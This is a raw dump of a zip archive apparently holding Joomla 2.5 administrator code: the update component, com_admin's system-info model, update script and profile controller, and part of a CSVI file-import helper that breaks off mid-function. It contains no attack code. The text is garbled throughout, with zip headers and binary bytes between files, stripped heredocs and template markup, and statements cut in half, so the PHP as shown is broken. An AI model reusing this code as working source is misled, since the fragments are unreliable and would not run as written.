$this->getModel('Default'); $model->cleanUp(); $url = 'index.php?option=com_joomlaupdate&layout=complete'; $this->setRedirect($url); } /** * Method to display a view. * * @param boolean $cachable If true, the view output will be cached * @param array $urlparams An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}. * * @return JController This object to support chaining. * * @since 2.5.4 */ public function display($cachable = false, $urlparams = false) { // Get the document object. $document = JFactory::getDocument(); // Set the default view name and format from the Request. $vName = JRequest::getCmd('view', 'update'); $vFormat = $document->getType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { // Get the model for the view. $model = $this->getModel('Default'); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } return $this; } /** * Applies FTP credentials to Joomla! itself, when required * * @return void * * @since 2.5.4 */ protected function _applyCredentials() { jimport('joomla.client.helper'); if (!JClientHelper::hasCredentials('ftp')) { $user = JFactory::getApplication()->getUserStateFromRequest('com_joomlaupdate.ftp_user', 'ftp_user', null, 'raw'); $pass = JFactory::getApplication()->getUserStateFromRequest('com_joomlaupdate.ftp_pass', 'ftp_pass', null, 'raw'); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials('ftp', $user, $pass)) { $return = false; } else { $return = JError::raiseWarning('SOME_ERROR_CODE', JText::_('JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED')); } } } } }PK@y>\C49&components/com_joomlaupdate/access.xmlnuW+A
      PK@y>\x6&components/com_joomlaupdate/config.xmlnuW+A
      PK@y>\V8components/com_joomlaupdate/views/update/tmpl/index.htmlnuW+A PK@y>\)7components/com_joomlaupdate/views/update/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\alPȧ9components/com_joomlaupdate/views/update/tmpl/default.phpnuW+A

      'progress', 'id' => 'progress'), true); ?>
      PK@y>\/6components/com_joomlaupdate/views/update/view.html.phpnuW+AgetUserState('com_joomlaupdate.password', null); $filesize = JFactory::getApplication()->getUserState('com_joomlaupdate.filesize', null); $ajaxUrl = JURI::base().'components/com_joomlaupdate/restore.php'; $returnUrl = 'index.php?option=com_joomlaupdate&task=update.finalise'; // Set the toolbar information JToolBarHelper::title(JText::_('COM_JOOMLAUPDATE_OVERVIEW'), 'install'); // Add toolbar buttons if (JFactory::getUser()->authorise('core.admin', 'com_joomlaupdate')) { JToolbarHelper::preferences('com_joomlaupdate'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_JOOMLA_UPDATE'); // Load mooTools JHtml::_('behavior.framework', true); $updateScript = <<addScript('../media/com_joomlaupdate/json2.js'); $document->addScript('../media/com_joomlaupdate/encryption.js'); $document->addScript('../media/com_joomlaupdate/update.js'); JHtml::_('script', 'system/progressbar.js', true, true); JHtml::_('stylesheet', 'media/mediamanager.css', array(), true); $document->addScriptDeclaration($updateScript); // Render the view parent::display($tpl); } } PK@y>\V3components/com_joomlaupdate/views/update/index.htmlnuW+A PK@y>\)2components/com_joomlaupdate/views/update/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V,components/com_joomlaupdate/views/index.htmlnuW+A PK@y>\Q{:components/com_joomlaupdate/views/default/tmpl/default.phpnuW+Aftp['enabled'] ? '' : 'style = "display: none"'; ?> updateInfo['object'])): ?>

      updateInfo['object']->downloadurl->_data)): ?>

      updateInfo['latest'], $this->updateInfo['latest']); ?>

      > > > > >
      updateInfo['installed'] ?>
      updateInfo['latest'] ?>
      updateInfo['object']->downloadurl->_data ?>
      methodSelect ?>
       
      ', '', $output); $this->php_info = $output; } return $this->php_info; } /** * method to get the directory states * * @return array states of directories */ public function getDirectory() { if (is_null($this->directories)) { $this->directories = array(); $registry = JFactory::getConfig(); jimport('joomla.filesystem.folder'); $cparams = JComponentHelper::getParams('com_media'); $this->_addDirectory('administrator/components', JPATH_ADMINISTRATOR.'/components'); $this->_addDirectory('administrator/language', JPATH_ADMINISTRATOR.'/language'); // List all admin languages $admin_langs = JFolder::folders(JPATH_ADMINISTRATOR.'/language'); foreach($admin_langs as $alang) { $this->_addDirectory('administrator/language/' . $alang, JPATH_ADMINISTRATOR.'/language/'.$alang); } // List all manifests folders $manifests = JFolder::folders(JPATH_ADMINISTRATOR.'/manifests'); foreach($manifests as $_manifest) { $this->_addDirectory('administrator/manifests/' . $_manifest, JPATH_ADMINISTRATOR.'/manifests/'.$_manifest); } $this->_addDirectory('administrator/modules', JPATH_ADMINISTRATOR.'/modules'); $this->_addDirectory('administrator/templates', JPATH_THEMES); $this->_addDirectory('components', JPATH_SITE.'/components'); $this->_addDirectory($cparams->get('image_path'), JPATH_SITE.'/'.$cparams->get('image_path')); $image_folders = JFolder::folders(JPATH_SITE.'/'.$cparams->get('image_path')); // List all images folders foreach ($image_folders as $folder) { $this->_addDirectory('images/' . $folder, JPATH_SITE.'/'.$cparams->get('image_path').'/'.$folder); } $this->_addDirectory('language', JPATH_SITE.'/language'); // List all site languages $site_langs = JFolder::folders(JPATH_SITE . '/language'); foreach ($site_langs as $slang) { $this->_addDirectory('language/' . $slang, JPATH_SITE.'/language/'.$slang); } $this->_addDirectory('libraries', JPATH_LIBRARIES); $this->_addDirectory('media', JPATH_SITE.'/media'); $this->_addDirectory('modules', JPATH_SITE.'/modules'); $this->_addDirectory('plugins', JPATH_PLUGINS); $plugin_groups = JFolder::folders(JPATH_PLUGINS); foreach ($plugin_groups as $folder) { $this->_addDirectory('plugins/' . $folder, JPATH_PLUGINS.'/'.$folder); } $this->_addDirectory('templates', JPATH_SITE.'/templates'); $this->_addDirectory('configuration.php', JPATH_CONFIGURATION.'/configuration.php'); $this->_addDirectory('cache', JPATH_SITE.'/cache', 'COM_ADMIN_CACHE_DIRECTORY'); $this->_addDirectory('administrator/cache', JPATH_CACHE, 'COM_ADMIN_CACHE_DIRECTORY'); $this->_addDirectory($registry->get('log_path', JPATH_ROOT . '/log'), $registry->get('log_path', JPATH_ROOT.'/log'), 'COM_ADMIN_LOG_DIRECTORY'); $this->_addDirectory($registry->get('tmp_path', JPATH_ROOT . '/tmp'), $registry->get('tmp_path', JPATH_ROOT.'/tmp'), 'COM_ADMIN_TEMP_DIRECTORY'); } return $this->directories; } private function _addDirectory($name, $path, $message = '') { $this->directories[$name] = array('writable' => is_writable($path), 'message' => $message); } /** * method to get the editor * * @return string the default editor * * has to be removed (it is present in the config...) */ function &getEditor() { if (is_null($this->editor)) { $config = JFactory::getConfig(); $this->editor = $config->get('editor'); } return $this->editor; } } PK@y>\cpEpEcomponents/com_admin/script.phpnuW+AgetQuery(true); $query->select('version_id'); $query->from('#__schemas'); $query->where('extension_id=700'); $db->setQuery($query); if (!$db->loadResult()) { $query = $db->getQuery(true); $query->insert('#__schemas'); $query->set('extension_id=700, version_id='.$db->quote('1.6.0-2011-01-10')); $db->setQuery($query); $db->query(); } return true; } /** * method to update Joomla! * * @param JInstallerFile $installer The class calling this method * * @return void */ function update($installer) { $this->deleteUnexistingFiles(); $this->updateManifestCaches(); $this->updateDatabase(); } protected function updateDatabase() { $db = JFactory::getDbo(); if (substr($db->name, 0, 5) == 'mysql') { $query = 'SHOW ENGINES'; $db->setQuery($query); $results = $db->loadObjectList(); if ($db->getErrorNum()) { echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $db->getErrorNum(), $db->getErrorMsg()).'
      '; return; } foreach ($results as $result) { if ($result->Support=='DEFAULT') { $query = 'ALTER TABLE #__update_sites_extensions ENGINE = ' . $result->Engine; $db->setQuery($query); $db->query(); if ($db->getErrorNum()) { echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $db->getErrorNum(), $db->getErrorMsg()).'
      '; return; } break; } } } } protected function updateManifestCaches() { // TODO Remove this for 2.5 if (!JTable::getInstance('Extension')->load(array('element'=> 'pkg_joomla', 'type'=>'package'))) { // Create the package pkg_joomla $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->insert('#__extensions'); $query->columns(array($db->quoteName('name'), $db->quoteName('type'), $db->quoteName('element'), $db->quoteName('enabled'), $db->quoteName('access'), $db->quoteName('protected'))); $query->values($db->quote('joomla'). ', '. $db->quote('package').', '.$db->quote('pkg_joomla') . ', 1, 1, 1'); $db->setQuery($query); $db->query(); if ($db->getErrorNum()) { echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $db->getErrorNum(), $db->getErrorMsg()).'
      '; return; } } // TODO Remove this for 2.5 $table = JTable::getInstance('Extension'); if ($table->load(array('element'=> 'mod_online', 'type'=>'module', 'client_id'=>1))) { if (!file_exists(JPATH_ADMINISTRATOR . '/modules/mod_online')) { // Delete this extension if (!$table->delete()) { echo $table->getError().'
      '; return; } } else { // Mark this extension as unprotected $table->protected = 0; if (!$table->store()) { echo $table->getError().'
      '; return; } } } // TODO Remove this for 2.5 $table = JTable::getInstance('Extension'); if ($table->load(array('element'=> 'mod_unread', 'type'=>'module', 'client_id'=>1))) { if (!file_exists(JPATH_ADMINISTRATOR . '/modules/mod_unread')) { // Delete this extension if (!$table->delete()) { echo $table->getError().'
      '; return; } } else { // Mark this extension as unprotected $table->protected = 0; if (!$table->store()) { echo $table->getError().'
      '; return; } } } $extensions = array(); // Components //`type`, `element`, `folder`, `client_id` $extensions[] = array('component', 'com_mailto', '', 0); $extensions[] = array('component', 'com_wrapper', '', 0); $extensions[] = array('component', 'com_admin', '', 1); $extensions[] = array('component', 'com_banners', '', 1); $extensions[] = array('component', 'com_cache', '', 1); $extensions[] = array('component', 'com_categories', '', 1); $extensions[] = array('component', 'com_checkin', '', 1); $extensions[] = array('component', 'com_contact', '', 1); $extensions[] = array('component', 'com_cpanel', '', 1); $extensions[] = array('component', 'com_installer', '', 1); $extensions[] = array('component', 'com_languages', '', 1); $extensions[] = array('component', 'com_login', '', 1); $extensions[] = array('component', 'com_media', '', 1); $extensions[] = array('component', 'com_menus', '', 1); $extensions[] = array('component', 'com_messages', '', 1); $extensions[] = array('component', 'com_modules', '', 1); $extensions[] = array('component', 'com_newsfeeds', '', 1); $extensions[] = array('component', 'com_plugins', '', 1); $extensions[] = array('component', 'com_search', '', 1); $extensions[] = array('component', 'com_templates', '', 1); $extensions[] = array('component', 'com_weblinks', '', 1); $extensions[] = array('component', 'com_content', '', 1); $extensions[] = array('component', 'com_config', '', 1); $extensions[] = array('component', 'com_redirect', '', 1); $extensions[] = array('component', 'com_users', '', 1); // Libraries $extensions[] = array('library', 'phpmailer', '', 0); $extensions[] = array('library', 'simplepie', '', 0); $extensions[] = array('library', 'phputf8', '', 0); $extensions[] = array('library', 'joomla', '', 0); $extensions[] = array('library', 'cms', '', 0); // Modules site // Site $extensions[] = array('module', 'mod_articles_archive', '', 0); $extensions[] = array('module', 'mod_articles_latest', '', 0); $extensions[] = array('module', 'mod_articles_popular', '', 0); $extensions[] = array('module', 'mod_banners', '', 0); $extensions[] = array('module', 'mod_breadcrumbs', '', 0); $extensions[] = array('module', 'mod_custom', '', 0); $extensions[] = array('module', 'mod_feed', '', 0); $extensions[] = array('module', 'mod_footer', '', 0); $extensions[] = array('module', 'mod_login', '', 0); $extensions[] = array('module', 'mod_menu', '', 0); $extensions[] = array('module', 'mod_articles_news', '', 0); $extensions[] = array('module', 'mod_random_image', '', 0); $extensions[] = array('module', 'mod_related_items', '', 0); $extensions[] = array('module', 'mod_search', '', 0); $extensions[] = array('module', 'mod_stats', '', 0); $extensions[] = array('module', 'mod_syndicate', '', 0); $extensions[] = array('module', 'mod_users_latest', '', 0); $extensions[] = array('module', 'mod_weblinks', '', 0); $extensions[] = array('module', 'mod_whosonline', '', 0); $extensions[] = array('module', 'mod_wrapper', '', 0); $extensions[] = array('module', 'mod_articles_category', '', 0); $extensions[] = array('module', 'mod_articles_categories', '', 0); $extensions[] = array('module', 'mod_languages', '', 0); // Administrator $extensions[] = array('module', 'mod_custom', '', 1); $extensions[] = array('module', 'mod_feed', '', 1); $extensions[] = array('module', 'mod_latest', '', 1); $extensions[] = array('module', 'mod_logged', '', 1); $extensions[] = array('module', 'mod_login', '', 1); $extensions[] = array('module', 'mod_menu', '', 1); $extensions[] = array('module', 'mod_popular', '', 1); $extensions[] = array('module', 'mod_quickicon', '', 1); $extensions[] = array('module', 'mod_status', '', 1); $extensions[] = array('module', 'mod_submenu', '', 1); $extensions[] = array('module', 'mod_title', '', 1); $extensions[] = array('module', 'mod_toolbar', '', 1); $extensions[] = array('module', 'mod_multilangstatus', '', 1); // Plug-ins $extensions[] = array('plugin', 'gmail', 'authentication', 0); $extensions[] = array('plugin', 'joomla', 'authentication', 0); $extensions[] = array('plugin', 'ldap', 'authentication', 0); $extensions[] = array('plugin', 'emailcloak', 'content', 0); $extensions[] = array('plugin', 'geshi', 'content', 0); $extensions[] = array('plugin', 'loadmodule', 'content', 0); $extensions[] = array('plugin', 'pagebreak', 'content', 0); $extensions[] = array('plugin', 'pagenavigation', 'content', 0); $extensions[] = array('plugin', 'vote', 'content', 0); $extensions[] = array('plugin', 'codemirror', 'editors', 0); $extensions[] = array('plugin', 'none', 'editors', 0); $extensions[] = array('plugin', 'tinymce', 'editors', 0); $extensions[] = array('plugin', 'article', 'editors-xtd', 0); $extensions[] = array('plugin', 'image', 'editors-xtd', 0); $extensions[] = array('plugin', 'pagebreak', 'editors-xtd', 0); $extensions[] = array('plugin', 'readmore', 'editors-xtd', 0); $extensions[] = array('plugin', 'categories', 'search', 0); $extensions[] = array('plugin', 'contacts', 'search', 0); $extensions[] = array('plugin', 'content', 'search', 0); $extensions[] = array('plugin', 'newsfeeds', 'search', 0); $extensions[] = array('plugin', 'weblinks', 'search', 0); $extensions[] = array('plugin', 'languagefilter', 'system', 0); $extensions[] = array('plugin', 'p3p', 'system', 0); $extensions[] = array('plugin', 'cache', 'system', 0); $extensions[] = array('plugin', 'debug', 'system', 0); $extensions[] = array('plugin', 'log', 'system', 0); $extensions[] = array('plugin', 'redirect', 'system', 0); $extensions[] = array('plugin', 'remember', 'system', 0); $extensions[] = array('plugin', 'sef', 'system', 0); $extensions[] = array('plugin', 'logout', 'system', 0); $extensions[] = array('plugin', 'contactcreator', 'user', 0); $extensions[] = array('plugin', 'joomla', 'user', 0); $extensions[] = array('plugin', 'profile', 'user', 0); $extensions[] = array('plugin', 'joomla', 'extension', 0); $extensions[] = array('plugin', 'joomla', 'content', 0); $extensions[] = array('plugin', 'languagecode', 'system', 0); $extensions[] = array('plugin', 'joomlaupdate', 'quickicon', 0); $extensions[] = array('plugin', 'extensionupdate', 'quickicon', 0); $extensions[] = array('plugin', 'recaptcha', 'captcha', 0); $extensions[] = array('plugin', 'eosnotify', 'quickicon', 0); // Templates $extensions[] = array('template', 'atomic', '', 0); $extensions[] = array('template', 'bluestork', '', 1); $extensions[] = array('template', 'beez_20', '', 0); $extensions[] = array('template', 'hathor', '', 1); $extensions[] = array('template', 'beez5', '', 0); // Languages $extensions[] = array('language', 'en-GB', '', 0); $extensions[] = array('language', 'en-GB', '', 1); // Files $extensions[] = array('file', 'joomla', '', 0); // Packages $extensions[] = array('package', 'pkg_joomla', '', 0); // Attempt to refresh manifest caches $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('*'); $query->from('#__extensions'); foreach ($extensions as $extension) { $query->where('type='.$db->quote($extension[0]).' AND element='.$db->quote($extension[1]).' AND folder='.$db->quote($extension[2]).' AND client_id='.$extension[3], 'OR'); } $db->setQuery($query); $extensions = $db->loadObjectList(); $installer = new JInstaller(); // Check for a database error. if ($db->getErrorNum()) { echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $db->getErrorNum(), $db->getErrorMsg()).'
      '; return; } foreach ($extensions as $extension) { if (!$installer->refreshManifestCache($extension->extension_id)) { echo JText::sprintf('FILES_JOOMLA_ERROR_MANIFEST', $extension->type, $extension->element, $extension->name, $extension->client_id).'
      '; } } } public function deleteUnexistingFiles() { $files = array( '/includes/version.php', '/installation/sql/mysql/joomla_update_170to171.sql', '/installation/sql/mysql/joomla_update_172to173.sql', '/installation/sql/mysql/joomla_update_17ga.sql', '/libraries/cms/cmsloader.php', '/libraries/joomla/application/applicationexception.php', '/libraries/joomla/client/http.php', '/libraries/joomla/filter/filterinput.php', '/libraries/joomla/filter/filteroutput.php', '/libraries/joomla/form/fields/templatestyle.php', '/libraries/joomla/form/fields/user.php', '/libraries/joomla/form/fields/menu.php', '/libraries/joomla/form/fields/helpsite.php', '/libraries/joomla/form/formfield.php', '/libraries/joomla/form/formrule.php', '/libraries/joomla/utilities/garbagecron.txt', '/libraries/phpmailer/language/phpmailer.lang-en.php', '/media/system/css/modal_msie.css', '/media/system/images/modal/closebox.gif', '/administrator/components/com_admin/sql/updates/sqlsrv/2.5.2-2012-03-05.sql', '/administrator/components/com_admin/sql/updates/sqlsrv/2.5.3-2012-03-13.sql', '/administrator/components/com_admin/sql/updates/sqlsrv/index.html', '/administrator/components/com_users/controllers/config.php', '/administrator/language/en-GB/en-GB.plg_system_finder.ini', '/administrator/language/en-GB/en-GB.plg_system_finder.sys.ini', '/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/advlist/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/autolink/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/autoresize/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/bbcode/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/contextmenu/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/directionality/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/fullscreen/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/iespell/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/layer/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/lists/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/media/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/noneditable/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/pagebreak/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/preview/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/print/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/save/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/style/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/tabfocus/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/table/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/template/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/visualchars/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/wordcount/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/editor_template_src.js', '/media/editors/tinymce/jscripts/tiny_mce/themes/simple/editor_template_src.js', '/media/editors/tinymce/jscripts/tiny_mce/tiny_mce_src.js', '/media/com_finder/images/calendar.png', '/media/com_finder/images/mime/index.html', '/media/com_finder/images/mime/pdf.png', '/media/system/js/swf-uncompressed.js', '/media/system/js/swf.js', '/media/system/js/uploader-uncompressed.js', '/media/system/js/uploader.js', '/media/system/swf/index.html', '/media/system/swf/uploader.swf', ); // TODO There is an issue while deleting folders using the ftp mode $folders = array( '/libraries/joomlacms', '/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img', '/media/plg_highlight', '/media/mod_finder_status', '/administrator/components/com_admin/sql/updates/sqlsrv', '/media/com_finder/images/mime', '/media/com_finder/images', '/media/system/swf/', ); foreach ($files as $file) { if (JFile::exists(JPATH_ROOT . $file) && !JFile::delete(JPATH_ROOT . $file)) { echo JText::sprintf('FILES_JOOMLA_ERROR_FILE_FOLDER', $file).'
      '; } } foreach ($folders as $folder) { if (JFolder::exists(JPATH_ROOT . $folder) && !JFolder::delete(JPATH_ROOT . $folder)) { echo JText::sprintf('FILES_JOOMLA_ERROR_FILE_FOLDER', $folder).'
      '; } } } } PK@y>\V+components/com_admin/controllers/index.htmlnuW+A PK@y>\=,components/com_admin/controllers/profile.phpnuW+Aid; } /** * Overrides parent save method to check the submitted passwords match. * * @return mixed Boolean or JError. * @since 1.6 */ public function save($key = null, $urlVar = null) { $data = JRequest::getVar('jform', array(), 'post', 'array'); // TODO: JForm should really have a validation handler for this. if (isset($data['password']) && isset($data['password2'])) { // Check the passwords match. if ($data['password'] != $data['password2']) { $this->setMessage(JText::_('JLIB_USER_ERROR_PASSWORD_NOT_MATCH'), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id='.JFactory::getUser()->id, false)); return false; } unset($data['password2']); } $return = parent::save(); if ($this->getTask() != 'apply') { // Redirect to the main page. $this->setRedirect(JRoute::_('index.php', false)); } return $return; } /** * Method to cancel an edit. * * @param string $key The name of the primary key of the URL variable. * * @return Boolean True if access level checks pass, false otherwise. * @since 1.6 */ public function cancel($key = null) { $return = parent::cancel($key); // Redirect to the main page. $this->setRedirect(JRoute::_('index.php', false)); return $return; } } PK@y>\)*components/com_admin/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\+Ԣcomponents/com_admin/admin.xmlnuW+A com_admin Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_ADMIN_XML_DESCRIPTION admin.php controller.php index.html helpers models views language/en-GB.com_admin.ini PK@y>\)components/com_admin/.htaccessnuW+A Order allow,deny Deny from all PK@y>\kqcomponents/com_admin/admin.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\/ܤ#components/com_admin/controller.phpnuW+A\Y\@@$components/com_csvi/helpers/file.phpnuW+Ainput; // Load the necessary libraries jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.archive'); $this->_unpackpath = CSVIPATH_TMP; $this->_supported_fields = $jinput->get('avfields', array(), null); // Load some basic settings $this->_fileSettings(); } /** * Set up the basic settings * * @copyright * @author RolandD * @todo * @see $suffixes * @see $mimetypes * @see $data * @access private * @param * @return * @since 3.0 */ private function _fileSettings() { $this->suffixes = array('txt','csv','xls','xml','ods'); $this->mimetypes = array('text/html', 'text/plain', 'text/csv', 'application/octet-stream', 'application/x-octet-stream', 'application/vnd.ms-excel', 'application/excel', 'application/ms-excel', 'application/x-excel', 'application/x-msexcel', 'application/force-download', 'text/comma-separated-values', 'text/x-csv', 'text/x-comma-separated-values', 'application/vnd.oasis.opendocument.spreadsheet'); $this->archives = array('zip', 'tgz'); $this->data->sheets[0] = array(); } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ abstract public function processFile(); /** * Validate the file * * Validate the file is of the supported type * Types supported are csv, txt, xls, ods, xml * * @copyright * @author RolandD * @todo See if this code can be optimized * @see * @access public * @param * @return bool true if all OK | false if not OK * @since 3.0 */ public function validateFile() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Workaround as it is always true //if ($jinput->get('filepos', 0, 'int') >= 0) { // $csv_file = $template->get('local_csv_file', 'general', false); // if (!$csv_file) { // $csv_file = urldecode($jinput->get('csv_file')); // $jinput->set('local_csv_file', $csv_file); // } // $this->folder = dirname($csv_file); // $jinput->set('csv_file', $csv_file); //} $loadfrom = $template->get('source', 'general'); switch (strtolower($loadfrom)) { // Uploaded file case 'fromupload': $upload['name'] = $_FILES['jform']['name']['general']['import_file']; $upload['type'] = $_FILES['jform']['type']['general']['import_file']; $upload['tmp_name'] = $_FILES['jform']['tmp_name']['general']['import_file']; $upload['error'] = $_FILES['jform']['error']['general']['import_file']; // Check if the file upload has an error if (empty($upload)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_UPLOADED_FILE_PROVIDED')); return false; } else if ($upload['error'] == 0) { if (is_uploaded_file($upload['tmp_name'])) { // Get some basic info $folder = $this->_unpackpath.'/'.time(); $upload_parts = pathinfo($upload['name']); // Create the temp folder if (JFolder::create($folder)) { $this->folder = $folder; // Move the uploaded file to its temp location if (JFile::upload($upload['tmp_name'], $folder.'/'.$upload['name'])) { $this->_uploaded = true; // Let's see if the uploaded file is an archive if (in_array($upload_parts['extension'], $this->archives)) { // It is an archive, unpack first if (JArchive::extract($folder.'/'.$upload['name'], $folder)) { // File is unpacked, let's get the filename $foundfiles = scandir($folder); foreach ($foundfiles as $ffkey => $filename) { $ff_parts = pathinfo($filename); if (in_array(strtolower($ff_parts['extension']), $this->suffixes)) { $jinput->set('csv_file', $folder.'/'.$filename); $jinput->set('upload_file_error', false); $this->extension = strtolower($ff_parts["extension"]); end($foundfiles); } else $found = false; } if (!$found) $jinput->set('upload_file_error', true); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_UNPACK_UPLOADED_FILE')); return false; } } // Just a regular file else { $jinput->set('csv_file', $folder.'/'.$upload['name']); $this->extension = strtolower($upload_parts['extension']); } } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_UNPACK_FOLDER', $folder)); return false; } } // Error warning cannot save uploaded file else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_UPLOADED_FILE_PROVIDED', $upload['tmp_name'])); return false; } } else { // There was a problem uploading the file switch($upload['error']) { case '1': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THE_UPLOADED_FILE_EXCEEDS_THE_MAXIMUM_UPLOADED_FILE_SIZE')); break; case '2': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THE_UPLOADED_FILE_EXCEEDS_THE_MAXIMUM_UPLOADED_FILE_SIZE')); break; case '3': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THE_UPLOADED_FILE_WAS_ONLY_PARTIALLY_UPLOADED')); break; case '4': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILE_WAS_UPLOADED')); break; case '6': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MISSING_A_TEMPORARY_FOLDER')); break; case '7': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_FAILED_TO_WRITE_FILE_TO_DISK')); break; case '8': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_FILE_UPLOAD_STOPPED_BY_EXTENSION')); break; default: $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THERE_WAS_A_PROBLEM_UPLOADING_THE_FILE')); break; } return false; } break; // Local file case 'fromserver': $csv_file = JPath::clean($template->get('local_csv_file', 'general'), '/'); // Set the file name to use $jinput->set('csv_file', $csv_file); if (!JFile::exists($csv_file)) { $csvilog->addDebug('[VALIDATEFILE] '.JText::sprintf('COM_CSVI_LOCAL_FILE_DOESNT_EXIST', $csv_file)); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LOCAL_FILE_DOESNT_EXIST', $csv_file)); return false; } else $jinput->set('upload_file_error', false); $fileinfo = pathinfo($csv_file); if (isset($fileinfo["extension"])) { $this->extension = strtolower($fileinfo["extension"]); if ($this->extension == 'txt') $this->extension = 'csv'; } break; case 'fromurl': // The temporary folder $folder = $this->_unpackpath.'/'.time(); $urlfile = $template->get('urlfile', 'general', false); $tempfile = basename($urlfile); // Check if the remote file exists if ($urlfile) { if (CsviHelper::fileExistsRemote($urlfile)) { // Copy the remote file to a local location if (JFolder::create($folder)) { if (touch($folder.'/'.$tempfile)) { if (JFile::write($folder.'/'.$tempfile, JFile::read($urlfile))) { $csvilog->addDebug(JText::sprintf('COM_CSVI_RETRIEVE_FROM_URL', $urlfile)); $jinput->set('csv_file', $folder.'/'.$tempfile); $jinput->set('upload_file_error', false); $this->extension = JFile::getExt($tempfile); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_READ_FROM_URL')); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FILE', $folder.'/'.$tempfile)); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FOLDER', $folder)); return false; } } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_READ_FROM_URL')); return false; } } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILENAME_GIVEN')); return false; } break; case 'fromftp': // The temporary folder $folder = 